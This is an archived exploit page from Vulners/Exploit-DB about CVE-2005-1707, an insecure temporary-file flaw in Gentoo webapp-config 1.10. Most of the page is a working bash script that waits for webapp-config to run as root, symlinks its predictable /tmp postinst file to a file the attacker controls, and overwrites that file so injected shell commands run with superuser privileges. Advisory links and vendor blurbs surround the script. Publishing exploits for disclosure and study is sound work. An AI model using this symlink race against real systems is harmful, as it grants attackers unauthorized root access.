Lucene search
+L

Gentoo Webapp-Config 1.10 - Insecure File Creation

🗓️ 26 May 2005 00:00:00Reported by Eric RomangType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Gentoo Webapp-Config 1.10 has a vulnerability allowing arbitrary commands with superuser privileges.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2005-1707
24 May 200504:00
cve
cvelist
Cvelist
CVE-2005-1707
24 May 200504:00
cvelist
euvd
EUVD
EUVD-2005-1709
7 Oct 202500:30
euvd
nessus
Tenable Nessus
GLSA-200506-13 : webapp-config: Insecure temporary file handling
17 Jun 200500:00
nessus
gentoo
Gentoo Linux
webapp-config: Insecure temporary file handling
17 Jun 200500:00
gentoo
nvd
NVD
CVE-2005-1707
24 May 200504:00
nvd
openvas
OpenVAS
Gentoo Security Advisory GLSA 200506-13 (webapp-config)
24 Sep 200800:00
openvas
openvas
OpenVAS
Gentoo Security Advisory GLSA 200506-13 (webapp-config)
24 Sep 200800:00
openvas
source: https://www.securityfocus.com/bid/13780/info

Gentoo webapp-config is prone to an insecure file creation vulnerability. This issue is due to a design error that causes the application to fail to verify the existence of a file before writing to it.

An attacker may leverage this issue to cause arbitrary shell commands to be executed with superuser privileges.

#!/bin/bash

# Eric Romang aka wow ([email protected])
# webapp-config race condition how permit execution of arbitrary command with root privileges
# work with < webapp-config 1.10-r14

rm -f webapp-config_trace.txt fake_tmp_file /tmp/*.postinst.txt
touch ~/fake_tmp_file

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting for webapp-config execution..."

while [ "$status" == 0 ]
do
	ps auxw|grep webapp-config|grep root
	if [ "$?" == 0 ]
	then
		echo "1" > webapp-config_trace.txt
	fi
	status=`cat webapp-config_trace.txt`
done

echo "Process caught !"
process_id=`pgrep -u root webapp-config`
ln -s ~/fake_tmp_file /tmp/$process_id.postinst.txt
echo "fake_file_created!"
echo "we force the file to be overwritten"

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting the end of webapp-config"
echo "during all the configuration we force the file to be overwritten"
while [ "$status" == 0 ]
do
	ps auxw|grep webapp-config|grep root
	if [ "$?" == 1 ]
	then
		echo "1" > webapp-config_trace.txt
	else
		echo "echo premature end of script; exit 1;" > ~/fake_tmp_file
	fi
	status=`cat webapp-config_trace.txt`
done
echo "end of webapp-config"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 May 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.00985
34